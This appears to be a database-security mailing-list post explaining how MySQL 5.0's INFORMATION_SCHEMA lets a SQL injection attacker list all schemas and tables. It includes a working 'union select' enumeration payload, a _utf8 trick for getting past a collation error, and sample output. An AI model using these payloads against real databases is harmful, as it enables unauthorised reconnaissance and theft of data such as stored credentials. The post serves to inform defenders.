[dbsec] MySQL 5.0 INFORMATION_SCHEMA and SQL injection

MySQL 5 implements a schema called INFORMATION_SCHEMA (which it turns out is in the SQL92 and SQL99 standard) that you can use to determine tables, users, text of stored procedures, and so on. Aside from being extremely cool, this is relevant in terms of security because if you're vulnerable to a SQL injection flaw, it now means that the attacker can easily enumerate information about the database via a 'union select'. Previously the attacker could only obtain the information via a 'show' statement, like 'show tables', which gave them a problem because with SQL injection you're often in a situation where you can't submit a whole SQL statement; you probably only get to add SQL into the 'where' clause of an existing SELECT or something. But now, the attacker can do something like:

select ... union select concat(table_schema, '.', table_name) from information_schema.tables;

...to get the names of all schemas/tables they can see.

Another interesting point... if you actually try it, your statement might be roughly equivalent to this:

select 'a' union select concat(table_schema, '.', table_name) from information_schema.tables;

...and you'll see an error like this:

ERROR 1267 (HY000): Illegal mix of collations (latin1_swedish_ci,COERCIBLE) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

You can fix it by coercing to utf8, like this:

select _utf8 'a' union select concat(table_schema, '.', table_name) from information_schema.tables;

And you'll then see the data; something like:

+----------------------------------------------------------+
| a |
+----------------------------------------------------------+
| a |
| information_schema.CHARACTER_SETS |
| information_schema.COLLATIONS |
| information_schema.COLLATION_CHARACTER_SET_APPLICABILITY |
| information_schema.COLUMNS |
| information_schema.COLUMN_PRIVILEGES |
| information_schema.KEY_COLUMN_USAGE |
| information_schema.ROUTINES |
| information_schema.SCHEMATA |
| information_schema.SCHEMA_PRIVILEGES |
| information_schema.STATISTICS |
| information_schema.TABLES |
| information_schema.TABLE_CONSTRAINTS |
| information_schema.TABLE_PRIVILEGES |
| information_schema.TRIGGERS |
| information_schema.VIEWS |
| information_schema.USER_PRIVILEGES |
+----------------------------------------------------------+

....only with all of the tables, in all of the schemas you can see in it, like app.usernames_and_passwords, for instance.

     -chris.

Other related posts: